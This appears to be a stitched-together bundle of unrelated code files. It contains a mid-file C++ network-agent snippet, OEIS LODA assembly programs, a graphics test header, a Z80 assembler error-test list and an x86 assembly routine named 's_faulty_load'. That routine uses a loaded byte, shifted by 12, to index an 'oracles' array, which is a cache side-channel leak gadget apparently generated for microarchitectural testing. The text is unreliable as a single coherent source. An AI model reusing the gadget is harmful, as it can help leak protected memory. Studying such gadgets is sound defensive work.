return static_cast<KSyncEntry *>(ksync);
}
KSyncEntry *InterfaceKSyncObject::DBToKSyncEntry(const DBEntry *e) {
const Interface *intf = static_cast<const Interface *>(e);
InterfaceKSyncEntry *key = NULL;
switch (intf->type()) {
case Interface::PHYSICAL:
case Interface::VM_INTERFACE:
case Interface::PACKET:
case Interface::INET:
case Interface::LOGICAL:
case Interface::REMOTE_PHYSICAL:
key = new InterfaceKSyncEntry(this, intf);
break;
default:
assert(0);
break;
}
return static_cast<KSyncEntry *>(key);
}
void InterfaceKSyncObject::Init() {
ksync_->agent()->set_test_mode(false);
}
void InterfaceKSyncObject::InitTest() {
ksync_->agent()->set_test_mode(true);
}
KSyncDBObject::DBFilterResp
InterfaceKSyncObject::DBEntryFilter(const DBEntry *entry,
const KSyncDBEntry *ksync) {
const Interface *intf = dynamic_cast<const Interface *>(entry);
const VmInterface *vm_intf = dynamic_cast<const VmInterface *>(intf);
uint32_t rx_vlan_id = VmInterface::kInvalidVlanId;
VmInterface::VmiType vmi_type = VmInterface::VMI_TYPE_INVALID;
if (vm_intf) {
rx_vlan_id = vm_intf->rx_vlan_id();
vmi_type = vm_intf->vmi_type();
}
if (IsValidOsIndex(intf->os_index(), intf->type(), rx_vlan_id,
vmi_type, intf->transport()) == false) {
return DBFilterIgnore;
}
if (intf->type() == Interface::LOGICAL ||
intf->type() == Interface::REMOTE_PHYSICAL) {
return DBFilterIgnore;
}
// No need to add VLAN sub-interface if there is no parent
if (vm_intf && vm_intf->device_type() == VmInterface::VM_VLAN_ON_VMI &&
vm_intf->parent() == NULL) {
return DBFilterIgnore;
}
return DBFilterAccept;
}
//////////////////////////////////////////////////////////////////////////////
// sandesh routines
//////////////////////////////////////////////////////////////////////////////
void vr_response::Process(SandeshContext *context) {
AgentSandeshContext *ioc = static_cast<AgentSandeshContext *>(context);
ioc->SetErrno(ioc->VrResponseMsgHandler(this));
}
|
; A278049: a(n) = 3*(Sum_{k=1..n} phi(k)) - 1, where phi = A000010.
; 2,5,11,17,29,35,53,65,83,95,125,137,173,191,215,239,287,305,359,383,419,449,515,539,599,635,689,725,809,833,923,971,1031,1079,1151,1187,1295,1349,1421,1469,1589,1625,1751,1811,1883,1949,2087,2135,2261,2321,2417,2489,2645,2699,2819,2891,2999,3083,3257,3305,3485,3575,3683,3779,3923,3983,4181,4277,4409,4481,4691,4763,4979,5087,5207,5315,5495,5567,5801,5897,6059,6179,6425,6497,6689,6815,6983,7103,7367,7439,7655,7787,7967,8105,8321,8417,8705,8831,9011,9131,9431,9527,9833,9977,10121,10277,10595,10703,11027,11147,11363,11507,11843,11951,12215,12383,12599,12773,13061,13157,13487,13667,13907,14087,14387,14495,14873,15065,15317,15461,15851,15971,16295,16493,16709,16901,17309,17441,17855,17999,18275,18485,18845,18989,19325,19541,19793,20009,20453,20573,21023,21239,21527,21707,22067,22211,22679,22913,23225,23417,23813,23975,24461,24701,24941,25187,25685,25829,26297,26489,26813,27065,27581,27749,28109,28349,28697,28961,29495,29639,30179,30395,30755,31019,31451,31631,32111,32387,32711,32927,33497,33689,34265,34553,34841,35093,35681,35861,36455,36695,37091,37391,37895,38087,38567,38873,39269,39557,40097,40241,40871,41183,41603,41921,42425,42641,43181,43505,43937,44177,44753,44969,45635,45923,46283,46619,47297,47513,48197,48461,48821,49157,49853,50069,50621,50969,51437,51725,52439,52631,53351,53681,54167,54527,55031,55271,55919,56279,56771,57071
mov $2,$0
add $2,1
mov $3,$0
lpb $2
mov $0,$3
sub $2,1
sub $0,$2
cal $0,10 ; Euler totient function phi(n): count numbers <= n and prime to n.
add $1,$0
lpe
sub $1,1
mul $1,3
add $1,2
|
#ifndef _TCURASTERIZATIONVERIFIER_HPP
#define _TCURASTERIZATIONVERIFIER_HPP
/*-------------------------------------------------------------------------
* drawElements Quality Program Tester Core
* ----------------------------------------
*
* Copyright 2014 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*//*!
* \file
* \brief Rasterization verifier utils.
*//*--------------------------------------------------------------------*/
#include "tcuDefs.hpp"
#include "tcuTestLog.hpp"
#include "tcuSurface.hpp"
#include "deMath.h"
#include <vector>
namespace tcu
{
enum CoverageType
{
COVERAGE_FULL = 0, // !< primitive fully covers the queried area
COVERAGE_PARTIAL, // !< primitive coverage is either partial, or could be full, partial or none depending on rounding and/or fill rules
COVERAGE_NONE, // !< primitive does not cover area at all
COVERAGE_LAST
};
enum VerificationMode
{
VERIFICATIONMODE_STRICT = 0, // !< do not allow even a single bad pixel
VERIFICATIONMODE_WEAK, // !< allow some bad pixels
VERIFICATIONMODE_WEAKER, // !< allow more bad pixels
VERIFICATIONMODE_SMOOTH, // !< allow no missing pixels
VERIFICATIONMODE_LAST
};
enum LineInterpolationMethod
{
LINEINTERPOLATION_STRICTLY_CORRECT = 0, // !< line interpolation matches the specification
LINEINTERPOLATION_PROJECTED, // !< line interpolation weights are otherwise correct, but they are projected onto major axis
LINEINTERPOLATION_INCORRECT // !< line interpolation is incorrect
};
struct TriangleSceneSpec
{
struct SceneTriangle
{
tcu::Vec4 positions[3];
tcu::Vec4 colors[3];
bool sharedEdge[3]; // !< is the edge i -> i+1 shared with another scene triangle
};
std::vector<SceneTriangle> triangles;
};
struct LineSceneSpec
{
LineSceneSpec()
: isStrip(false)
, isSmooth(false)
, stippleEnable(false)
, verificationMode(VERIFICATIONMODE_STRICT)
{}
struct SceneLine
{
tcu::Vec4 positions[2];
tcu::Vec4 colors[2];
};
std::vector<SceneLine> lines;
float lineWidth;
bool isStrip;
bool isSmooth;
bool stippleEnable;
deUint32 stippleFactor;
deUint16 stipplePattern;
VerificationMode verificationMode;
};
struct PointSceneSpec
{
struct ScenePoint
{
tcu::Vec4 position;
tcu::Vec4 color;
float pointSize;
};
std::vector<ScenePoint> points;
};
struct RasterizationArguments
{
int numSamples;
int subpixelBits;
int redBits;
int greenBits;
int blueBits;
};
struct VerifyTriangleGroupRasterizationLogStash
{
int missingPixels;
int unexpectedPixels;
tcu::Surface errorMask;
bool result;
};
/*--------------------------------------------------------------------*//*!
* \brief Calculates triangle coverage at given pixel
* Calculates the coverage of a triangle given by three vertices. The
* triangle should not be z-clipped. If multisample is false, the pixel
* center is compared against the triangle. If multisample is true, the
* whole pixel area is compared.
*//*--------------------------------------------------------------------*/
CoverageType calculateTriangleCoverage (const tcu::Vec4& p0, const tcu::Vec4& p1, const tcu::Vec4& p2, const tcu::IVec2& pixel, const tcu::IVec2& viewportSize, int subpixelBits, bool multisample);
/*--------------------------------------------------------------------*//*!
* \brief Verify triangle rasterization result
* Verifies pixels in the surface are rasterized within the bounds given
* by RasterizationArguments. Triangles should not be z-clipped.
*
* Triangle colors are not used. The triangle is expected to be white.
* If logStash is not NULL the results are not logged, but copied to stash.
*
* Returns false if invalid rasterization is found.
*//*--------------------------------------------------------------------*/
bool verifyTriangleGroupRasterization (const tcu::Surface& surface, const TriangleSceneSpec& scene, const RasterizationArguments& args, tcu::TestLog& log, VerificationMode mode = VERIFICATIONMODE_STRICT, VerifyTriangleGroupRasterizationLogStash* logStash = DE_NULL, const bool vulkanLinesTest = false);
/*--------------------------------------------------------------------*//*!
* \brief Verify line rasterization result
* Verifies pixels in the surface are rasterized within the bounds given
* by RasterizationArguments. Lines should not be z-clipped.
*
* Line colors are not used. The line is expected to be white.
*
* Returns false if invalid rasterization is found.
*//*--------------------------------------------------------------------*/
bool verifyLineGroupRasterization (const tcu::Surface& surface, const LineSceneSpec& scene, const RasterizationArguments& args, tcu::TestLog& log);
/*--------------------------------------------------------------------*//*!
* \brief Verify clipped line rasterization result
* Verifies pixels in the surface are rasterized within the bounds given
* by RasterizationArguments and by clipping the lines with a (-1, -1), (1, 1)
* square. Lines should not be z-clipped.
*
* Line colors are not used. The line is expected to be white. Lines are
* rasterized as two triangles.
*
* Returns false if invalid rasterization is found.
*//*--------------------------------------------------------------------*/
bool verifyClippedTriangulatedLineGroupRasterization (const tcu::Surface& surface, const LineSceneSpec& scene, const RasterizationArguments& args, tcu::TestLog& log);
/*--------------------------------------------------------------------*//*!
* \brief Verify line rasterization result both clipped and non-clipped
*
* For details please see verifyLineGroupRasterization and
* verifyClippedTriangulatedLineGroupRasterization
*
* Returns false if both rasterizations are invalid.
*//*--------------------------------------------------------------------*/
bool verifyRelaxedLineGroupRasterization (const tcu::Surface& surface, const LineSceneSpec& scene, const RasterizationArguments& args, tcu::TestLog& log, const bool vulkanLinesTest = false);
/*--------------------------------------------------------------------*//*!
* \brief Verify point rasterization result
* Verifies points in the surface are rasterized within the bounds given
* by RasterizationArguments. Points should not be z-clipped.
*
* Point colors are not used. The point is expected to be white.
*
* Returns false if invalid rasterization is found.
*//*--------------------------------------------------------------------*/
bool verifyPointGroupRasterization (const tcu::Surface& surface, const PointSceneSpec& scene, const RasterizationArguments& args, tcu::TestLog& log);
/*--------------------------------------------------------------------*//*!
* \brief Verify triangle color interpolation is valid
* Verifies the color of a fragments of a colored triangle is in the
* valid range. Triangles should not be z-clipped.
*
* The background is expected to be black.
*
* Returns false if invalid rasterization interpolation is found.
*//*--------------------------------------------------------------------*/
bool verifyTriangleGroupInterpolation (const tcu::Surface& surface, const TriangleSceneSpec& scene, const RasterizationArguments& args, tcu::TestLog& log);
/*--------------------------------------------------------------------*//*!
* \brief Verify line color interpolation is valid
* Verifies the color of a fragments of a colored line is in the
* valid range. Lines should not be z-clipped.
*
* The background is expected to be black.
*
* Returns the detected interpolation method of the input image.
*//*--------------------------------------------------------------------*/
LineInterpolationMethod verifyLineGroupInterpolation (const tcu::Surface& surface, const LineSceneSpec& scene, const RasterizationArguments& args, tcu::TestLog& log);
/*--------------------------------------------------------------------*//*!
* \brief Verify line color interpolation is valid
* Verifies the color of a fragments of a colored line is in the
* valid range. Lines should not be z-clipped.
*
* The background is expected to be black. The lines are rasterized
* as two triangles.
*
* Returns false if invalid rasterization interpolation is found.
*//*--------------------------------------------------------------------*/
bool verifyTriangulatedLineGroupInterpolation (const tcu::Surface& surface, const LineSceneSpec& scene, const RasterizationArguments& args, tcu::TestLog& log);
} // tcu
#endif // _TCURASTERIZATIONVERIFIER_HPP
|
; A002458: a(n) = binomial(4*n+1, 2*n).
; 1,10,126,1716,24310,352716,5200300,77558760,1166803110,17672631900,269128937220,4116715363800,63205303218876,973469712824056,15033633249770520,232714176627630544,3609714217008132870,56093138908331422716,873065282167813104916,13608507434599516007800,212392290424395860814420,3318776542511877736535400,51913710643776705684835560,812850570172585125274307760,12738806129490428451365214300,199804427433372226016001220056,3136262529306125724764953838760,49263609265046928387789436527216
mul $0,2
mov $1,-2
sub $1,$0
bin $1,$0
mov $0,$1
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r14
push %r15
push %r9
push %rax
push %rbp
push %rdi
lea addresses_normal_ht+0x186e, %r14
nop
nop
nop
nop
add $14930, %rax
mov $0x6162636465666768, %rbp
movq %rbp, %xmm0
movups %xmm0, (%r14)
nop
nop
nop
nop
nop
sub %r15, %r15
lea addresses_UC_ht+0x162d2, %r14
nop
nop
nop
nop
and %r9, %r9
movups (%r14), %xmm1
vpextrq $0, %xmm1, %rdi
nop
nop
nop
nop
sub $35524, %rbp
lea addresses_WT_ht+0x62d2, %rbp
nop
nop
nop
nop
add $36783, %r12
mov (%rbp), %r9w
nop
nop
nop
cmp %r9, %r9
lea addresses_D_ht+0x601a, %r12
clflush (%r12)
nop
nop
nop
inc %rdi
mov $0x6162636465666768, %r9
movq %r9, %xmm3
and $0xffffffffffffffc0, %r12
vmovntdq %ymm3, (%r12)
nop
nop
xor %r14, %r14
lea addresses_A_ht+0x2c52, %r15
add %r9, %r9
and $0xffffffffffffffc0, %r15
vmovaps (%r15), %ymm6
vextracti128 $0, %ymm6, %xmm6
vpextrq $1, %xmm6, %rbp
nop
nop
nop
nop
add $25864, %r9
pop %rdi
pop %rbp
pop %rax
pop %r9
pop %r15
pop %r14
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r15
push %rax
push %rbp
push %rdx
push %rsi
// Store
lea addresses_RW+0x1a0d2, %r10
clflush (%r10)
and $29498, %r15
mov $0x5152535455565758, %rax
movq %rax, %xmm6
vmovups %ymm6, (%r10)
nop
nop
nop
nop
xor %rsi, %rsi
// Store
mov $0xff2, %rdx
nop
nop
nop
sub $18235, %rbp
mov $0x5152535455565758, %r15
movq %r15, %xmm3
movups %xmm3, (%rdx)
nop
nop
nop
add $51330, %rbp
// Faulty Load
lea addresses_US+0xa2d2, %rax
nop
nop
nop
sub $64122, %r12
vmovups (%rax), %ymm1
vextracti128 $0, %ymm1, %xmm1
vpextrq $1, %xmm1, %rdx
lea oracles, %r10
and $0xff, %rdx
shlq $12, %rdx
mov (%r10,%rdx,1), %rdx
pop %rsi
pop %rdx
pop %rbp
pop %rax
pop %r15
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 9, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_P', 'AVXalign': False, 'congruent': 5, 'size': 16, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 2, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 9, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 11, 'size': 2, 'same': True, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 3, 'size': 32, 'same': False, 'NT': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': True, 'congruent': 7, 'size': 32, 'same': False, 'NT': False}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
; A064755: a(n) = n*9^n - 1.
; 8,161,2186,26243,295244,3188645,33480782,344373767,3486784400,34867844009,345191655698,3389154437771,33044255768276,320275094369453,3088366981419734,29648323021629455,283512088894331672,2701703435345984177,25666182635786849690,243153309181138576019,2297798771761759543388,21664959848039447123381,203847576752007525206366,1914394633844940236720663,17947449692296314719256224,167988129119893505772238265,1570042899082081611640534562,14653733724766095041978322587,136593732220141100212726506980
add $0,1
mov $2,9
pow $2,$0
mul $0,$2
sub $0,1
|
adc a, ixh ; Error
adc a, ixl ; Error
adc a, iyh ; Error
adc a, iyl ; Error
adc ixh ; Error
adc ixl ; Error
adc iyh ; Error
adc iyl ; Error
add a, ixh ; Error
add a, ixl ; Error
add a, iyh ; Error
add a, iyl ; Error
add bc, -32768 ; Error
add bc, 32767 ; Error
add bc, 65535 ; Error
add bc, a ; Error
add de, -32768 ; Error
add de, 32767 ; Error
add de, 65535 ; Error
add de, a ; Error
add hl, -32768 ; Error
add hl, 32767 ; Error
add hl, 65535 ; Error
add hl, a ; Error
add ixh ; Error
add ixl ; Error
add iyh ; Error
add iyl ; Error
altd bit -1, (hl) ; Error
altd bit -1, (hl) ; Error
altd bit -1, (ix) ; Error
altd bit -1, (ix) ; Error
altd bit -1, (ix+127) ; Error
altd bit -1, (ix+127) ; Error
altd bit -1, (ix-128) ; Error
altd bit -1, (ix-128) ; Error
altd bit -1, (iy) ; Error
altd bit -1, (iy) ; Error
altd bit -1, (iy+127) ; Error
altd bit -1, (iy+127) ; Error
altd bit -1, (iy-128) ; Error
altd bit -1, (iy-128) ; Error
altd bit -1, a ; Error
altd bit -1, a ; Error
altd bit -1, b ; Error
altd bit -1, b ; Error
altd bit -1, c ; Error
altd bit -1, c ; Error
altd bit -1, d ; Error
altd bit -1, d ; Error
altd bit -1, e ; Error
altd bit -1, e ; Error
altd bit -1, h ; Error
altd bit -1, h ; Error
altd bit -1, l ; Error
altd bit -1, l ; Error
altd bit 8, (hl) ; Error
altd bit 8, (hl) ; Error
altd bit 8, (ix) ; Error
altd bit 8, (ix) ; Error
altd bit 8, (ix+127) ; Error
altd bit 8, (ix+127) ; Error
altd bit 8, (ix-128) ; Error
altd bit 8, (ix-128) ; Error
altd bit 8, (iy) ; Error
altd bit 8, (iy) ; Error
altd bit 8, (iy+127) ; Error
altd bit 8, (iy+127) ; Error
altd bit 8, (iy-128) ; Error
altd bit 8, (iy-128) ; Error
altd bit 8, a ; Error
altd bit 8, a ; Error
altd bit 8, b ; Error
altd bit 8, b ; Error
altd bit 8, c ; Error
altd bit 8, c ; Error
altd bit 8, d ; Error
altd bit 8, d ; Error
altd bit 8, e ; Error
altd bit 8, e ; Error
altd bit 8, h ; Error
altd bit 8, h ; Error
altd bit 8, l ; Error
altd bit 8, l ; Error
altd ioe bit -1, (hl) ; Error
altd ioe bit -1, (hl) ; Error
altd ioe bit -1, (ix) ; Error
altd ioe bit -1, (ix) ; Error
altd ioe bit -1, (ix+127) ; Error
altd ioe bit -1, (ix+127) ; Error
altd ioe bit -1, (ix-128) ; Error
altd ioe bit -1, (ix-128) ; Error
altd ioe bit -1, (iy) ; Error
altd ioe bit -1, (iy) ; Error
altd ioe bit -1, (iy+127) ; Error
altd ioe bit -1, (iy+127) ; Error
altd ioe bit -1, (iy-128) ; Error
altd ioe bit -1, (iy-128) ; Error
altd ioe bit 8, (hl) ; Error
altd ioe bit 8, (hl) ; Error
altd ioe bit 8, (ix) ; Error
altd ioe bit 8, (ix) ; Error
altd ioe bit 8, (ix+127) ; Error
altd ioe bit 8, (ix+127) ; Error
altd ioe bit 8, (ix-128) ; Error
altd ioe bit 8, (ix-128) ; Error
altd ioe bit 8, (iy) ; Error
altd ioe bit 8, (iy) ; Error
altd ioe bit 8, (iy+127) ; Error
altd ioe bit 8, (iy+127) ; Error
altd ioe bit 8, (iy-128) ; Error
altd ioe bit 8, (iy-128) ; Error
altd ioi bit -1, (hl) ; Error
altd ioi bit -1, (hl) ; Error
altd ioi bit -1, (ix) ; Error
altd ioi bit -1, (ix) ; Error
altd ioi bit -1, (ix+127) ; Error
altd ioi bit -1, (ix+127) ; Error
altd ioi bit -1, (ix-128) ; Error
altd ioi bit -1, (ix-128) ; Error
altd ioi bit -1, (iy) ; Error
altd ioi bit -1, (iy) ; Error
altd ioi bit -1, (iy+127) ; Error
altd ioi bit -1, (iy+127) ; Error
altd ioi bit -1, (iy-128) ; Error
altd ioi bit -1, (iy-128) ; Error
altd ioi bit 8, (hl) ; Error
altd ioi bit 8, (hl) ; Error
altd ioi bit 8, (ix) ; Error
altd ioi bit 8, (ix) ; Error
altd ioi bit 8, (ix+127) ; Error
altd ioi bit 8, (ix+127) ; Error
altd ioi bit 8, (ix-128) ; Error
altd ioi bit 8, (ix-128) ; Error
altd ioi bit 8, (iy) ; Error
altd ioi bit 8, (iy) ; Error
altd ioi bit 8, (iy+127) ; Error
altd ioi bit 8, (iy+127) ; Error
altd ioi bit 8, (iy-128) ; Error
altd ioi bit 8, (iy-128) ; Error
altd res -1, a ; Error
altd res -1, a ; Error
altd res -1, b ; Error
altd res -1, b ; Error
altd res -1, c ; Error
altd res -1, c ; Error
altd res -1, d ; Error
altd res -1, d ; Error
altd res -1, e ; Error
altd res -1, e ; Error
altd res -1, h ; Error
altd res -1, h ; Error
altd res -1, l ; Error
altd res -1, l ; Error
altd res 8, a ; Error
altd res 8, a ; Error
altd res 8, b ; Error
altd res 8, b ; Error
altd res 8, c ; Error
altd res 8, c ; Error
altd res 8, d ; Error
altd res 8, d ; Error
altd res 8, e ; Error
altd res 8, e ; Error
altd res 8, h ; Error
altd res 8, h ; Error
altd res 8, l ; Error
altd res 8, l ; Error
altd set -1, a ; Error
altd set -1, a ; Error
altd set -1, b ; Error
altd set -1, b ; Error
altd set -1, c ; Error
altd set -1, c ; Error
altd set -1, d ; Error
altd set -1, d ; Error
altd set -1, e ; Error
altd set -1, e ; Error
altd set -1, h ; Error
altd set -1, h ; Error
altd set -1, l ; Error
altd set -1, l ; Error
altd set 8, a ; Error
altd set 8, a ; Error
altd set 8, b ; Error
altd set 8, b ; Error
altd set 8, c ; Error
altd set 8, c ; Error
altd set 8, d ; Error
altd set 8, d ; Error
altd set 8, e ; Error
altd set 8, e ; Error
altd set 8, h ; Error
altd set 8, h ; Error
altd set 8, l ; Error
altd set 8, l ; Error
and a, ixh ; Error
and a, ixl ; Error
and a, iyh ; Error
and a, iyl ; Error
and ixh ; Error
and ixl ; Error
and iyh ; Error
and iyl ; Error
bit -1, (hl) ; Error
bit -1, (hl) ; Error
bit -1, (ix) ; Error
bit -1, (ix) ; Error
bit -1, (ix+127) ; Error
bit -1, (ix+127) ; Error
bit -1, (ix-128) ; Error
bit -1, (ix-128) ; Error
bit -1, (iy) ; Error
bit -1, (iy) ; Error
bit -1, (iy+127) ; Error
bit -1, (iy+127) ; Error
bit -1, (iy-128) ; Error
bit -1, (iy-128) ; Error
bit -1, a ; Error
bit -1, a ; Error
bit -1, b ; Error
bit -1, b ; Error
bit -1, c ; Error
bit -1, c ; Error
bit -1, d ; Error
bit -1, d ; Error
bit -1, e ; Error
bit -1, e ; Error
bit -1, h ; Error
bit -1, h ; Error
bit -1, ixh ; Error
bit -1, ixh ; Error
bit -1, ixl ; Error
bit -1, ixl ; Error
bit -1, iyh ; Error
bit -1, iyh ; Error
bit -1, iyl ; Error
bit -1, iyl ; Error
bit -1, l ; Error
bit -1, l ; Error
bit 0, ixh ; Error
bit 0, ixl ; Error
bit 0, iyh ; Error
bit 0, iyl ; Error
bit 1, ixh ; Error
bit 1, ixl ; Error
bit 1, iyh ; Error
bit 1, iyl ; Error
bit 2, ixh ; Error
bit 2, ixl ; Error
bit 2, iyh ; Error
bit 2, iyl ; Error
bit 3, ixh ; Error
bit 3, ixl ; Error
bit 3, iyh ; Error
bit 3, iyl ; Error
bit 4, ixh ; Error
bit 4, ixl ; Error
bit 4, iyh ; Error
bit 4, iyl ; Error
bit 5, ixh ; Error
bit 5, ixl ; Error
bit 5, iyh ; Error
bit 5, iyl ; Error
bit 6, ixh ; Error
bit 6, ixl ; Error
bit 6, iyh ; Error
bit 6, iyl ; Error
bit 7, ixh ; Error
bit 7, ixl ; Error
bit 7, iyh ; Error
bit 7, iyl ; Error
bit 8, (hl) ; Error
bit 8, (hl) ; Error
bit 8, (ix) ; Error
bit 8, (ix) ; Error
bit 8, (ix+127) ; Error
bit 8, (ix+127) ; Error
bit 8, (ix-128) ; Error
bit 8, (ix-128) ; Error
bit 8, (iy) ; Error
bit 8, (iy) ; Error
bit 8, (iy+127) ; Error
bit 8, (iy+127) ; Error
bit 8, (iy-128) ; Error
bit 8, (iy-128) ; Error
bit 8, a ; Error
bit 8, a ; Error
bit 8, b ; Error
bit 8, b ; Error
bit 8, c ; Error
bit 8, c ; Error
bit 8, d ; Error
bit 8, d ; Error
bit 8, e ; Error
bit 8, e ; Error
bit 8, h ; Error
bit 8, h ; Error
bit 8, ixh ; Error
bit 8, ixh ; Error
bit 8, ixl ; Error
bit 8, ixl ; Error
bit 8, iyh ; Error
bit 8, iyh ; Error
bit 8, iyl ; Error
bit 8, iyl ; Error
bit 8, l ; Error
bit 8, l ; Error
cp a, ixh ; Error
cp a, ixl ; Error
cp a, iyh ; Error
cp a, iyl ; Error
cp ixh ; Error
cp ixl ; Error
cp iyh ; Error
cp iyl ; Error
dec ixh ; Error
dec ixl ; Error
dec iyh ; Error
dec iyl ; Error
di ; Error
ei ; Error
halt ; Error
im -1 ; Error
im -1 ; Error
im 0 ; Error
im 1 ; Error
im 2 ; Error
im 3 ; Error
im 3 ; Error
in (c) ; Error
in a, (-128) ; Error
in a, (127) ; Error
in a, (255) ; Error
in a, (c) ; Error
in b, (c) ; Error
in c, (c) ; Error
in d, (c) ; Error
in e, (c) ; Error
in f, (c) ; Error
in h, (c) ; Error
in l, (c) ; Error
in0 (-128) ; Error
in0 (127) ; Error
in0 (255) ; Error
in0 a, (-128) ; Error
in0 a, (127) ; Error
in0 a, (255) ; Error
in0 b, (-128) ; Error
in0 b, (127) ; Error
in0 b, (255) ; Error
in0 c, (-128) ; Error
in0 c, (127) ; Error
in0 c, (255) ; Error
in0 d, (-128) ; Error
in0 d, (127) ; Error
in0 d, (255) ; Error
in0 e, (-128) ; Error
in0 e, (127) ; Error
in0 e, (255) ; Error
in0 f, (-128) ; Error
in0 f, (127) ; Error
in0 f, (255) ; Error
in0 h, (-128) ; Error
in0 h, (127) ; Error
in0 h, (255) ; Error
in0 l, (-128) ; Error
in0 l, (127) ; Error
in0 l, (255) ; Error
inc ixh ; Error
inc ixl ; Error
inc iyh ; Error
inc iyl ; Error
ind ; Error
indr ; Error
ini ; Error
inir ; Error
ioe altd bit -1, (hl) ; Error
ioe altd bit -1, (hl) ; Error
ioe altd bit -1, (ix) ; Error
ioe altd bit -1, (ix) ; Error
ioe altd bit -1, (ix+127) ; Error
ioe altd bit -1, (ix+127) ; Error
ioe altd bit -1, (ix-128) ; Error
ioe altd bit -1, (ix-128) ; Error
ioe altd bit -1, (iy) ; Error
ioe altd bit -1, (iy) ; Error
ioe altd bit -1, (iy+127) ; Error
ioe altd bit -1, (iy+127) ; Error
